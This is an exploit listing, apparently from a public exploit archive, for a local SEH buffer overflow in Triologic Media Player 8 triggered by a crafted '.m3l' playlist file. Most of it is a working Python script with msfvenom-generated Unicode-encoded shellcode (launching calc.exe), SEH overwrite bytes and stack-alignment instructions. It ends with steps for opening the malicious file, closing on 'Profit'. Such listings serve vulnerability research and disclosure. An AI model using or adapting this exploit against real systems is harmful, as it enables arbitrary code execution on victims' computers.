Triologic Media Player version 8 suffers from a .m3l local buffer overflow vulnerability.
330e0eb58f0fc8699abf35d99c3d533c# Exploit Title: Triologic Media Player 8 - '.m3l' Local Buffer Overflow (Unicode) (SEH)
# Date: 04/04/2020
# Author: Felipe Winsnes
# Software Link: http://download.cnet.com/Triologic-Media-Player/3000-2139_4-10691520.html
# Version: 8
# Tested on: Windows 7 (x86)
# Proof of Concept:
# 1.- Run the python script, it will create a new file called "poc.m3l".
# 2.- Open the Application.
# 3.- Some windows warning boxes regarding sound issues may pop up, just click OK.
# 4.- Click on the bottom-right button that displays an arrow and has written "LIST".
# 5.- Select the file "poc.m3l".
# 6.- Profit.
import struct
# msfvenom -p windows/exec CMD=calc.exe -f py -e x86/unicode_mixed BufferRegister=EAX EXITFUNC=thread
# Payload size: 512 bytes
buf = b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"
buf += b"\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41"
buf += b"\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51"
buf += b"\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31"
buf += b"\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41"
buf += b"\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41"
buf += b"\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41"
buf += b"\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41"
buf += b"\x47\x42\x39\x75\x34\x4a\x42\x79\x6c\x7a\x48\x61\x72"
buf += b"\x39\x70\x6b\x50\x49\x70\x73\x30\x54\x49\x47\x75\x70"
buf += b"\x31\x79\x30\x4f\x74\x72\x6b\x70\x50\x70\x30\x32\x6b"
buf += b"\x51\x42\x7a\x6c\x74\x4b\x42\x32\x6e\x34\x64\x4b\x64"
buf += b"\x32\x6b\x78\x6c\x4f\x57\x47\x4d\x7a\x4d\x56\x4e\x51"
buf += b"\x59\x6f\x46\x4c\x4f\x4c\x71\x51\x61\x6c\x49\x72\x4c"
buf += b"\x6c\x6d\x50\x36\x61\x46\x6f\x6c\x4d\x4a\x61\x37\x57"
buf += b"\x69\x52\x7a\x52\x31\x42\x51\x47\x74\x4b\x6e\x72\x4a"
buf += b"\x70\x44\x4b\x30\x4a\x4d\x6c\x34\x4b\x6e\x6c\x5a\x71"
buf += b"\x74\x38\x39\x53\x6d\x78\x49\x71\x5a\x31\x70\x51\x62"
buf += b"\x6b\x70\x59\x6b\x70\x5a\x61\x46\x73\x62\x6b\x4e\x69"
buf += b"\x4a\x78\x48\x63\x4f\x4a\x61\x39\x72\x6b\x4d\x64\x62"
buf += b"\x6b\x4a\x61\x36\x76\x4c\x71\x59\x6f\x44\x6c\x45\x71"
buf += b"\x58\x4f\x6a\x6d\x49\x71\x39\x37\x4d\x68\x39\x50\x73"
buf += b"\x45\x58\x76\x69\x73\x43\x4d\x4c\x38\x4f\x4b\x31\x6d"
buf += b"\x4c\x64\x72\x55\x58\x64\x72\x38\x62\x6b\x30\x58\x4f"
buf += b"\x34\x6a\x61\x7a\x33\x31\x56\x54\x4b\x4c\x4c\x6e\x6b"
buf += b"\x44\x4b\x50\x58\x4d\x4c\x4a\x61\x38\x53\x72\x6b\x5a"
buf += b"\x64\x54\x4b\x5a\x61\x58\x50\x33\x59\x61\x34\x6d\x54"
buf += b"\x6c\x64\x71\x4b\x51\x4b\x6f\x71\x62\x39\x70\x5a\x6f"
buf += b"\x61\x79\x6f\x47\x70\x61\x4f\x61\x4f\x71\x4a\x44\x4b"
buf += b"\x4d\x42\x38\x6b\x34\x4d\x4f\x6d\x42\x4a\x49\x71\x62"
buf += b"\x6d\x42\x65\x45\x62\x69\x70\x39\x70\x59\x70\x50\x50"
buf += b"\x51\x58\x4d\x61\x74\x4b\x42\x4f\x33\x57\x6b\x4f\x46"
buf += b"\x75\x37\x4b\x47\x70\x6b\x6d\x6e\x4a\x5a\x6a\x53\x38"
buf += b"\x46\x46\x52\x75\x65\x6d\x45\x4d\x6b\x4f\x57\x65\x6d"
buf += b"\x6c\x7a\x66\x43\x4c\x6c\x4a\x35\x30\x59\x6b\x67\x70"
buf += b"\x50\x75\x6b\x55\x45\x6b\x4d\x77\x5a\x73\x32\x52\x52"
buf += b"\x4f\x30\x6a\x59\x70\x51\x43\x69\x6f\x38\x55\x52\x43"
buf += b"\x50\x61\x32\x4c\x61\x53\x6c\x6e\x43\x35\x51\x68\x6f"
buf += b"\x75\x4d\x30\x41\x41"
nseh = "\x71\x41"
seh = "\x41\x4a"
alignment = ""
alignment += "\x54\x71" # push ebx, padding
alignment += "\x58\x71" # pop eax, padding
alignment += "\x05\x20\x22" # add eax, 0x22002000
alignment += "\x71" # Padding
alignment += "\x2D\x19\x22" # sub eax, 0x22001900
alignment += "\x71" # Padding
alignment += "\x50\x71" # push eax, padding
alignment += "\xC3" # retn
buffer = "A" * 536 + nseh + seh + "\x41\x71\x41\x71" + alignment + "C" * 71 + buf + "C" * 2000
f = open ("poc.m3l", "w")
f.write(buffer)
f.close()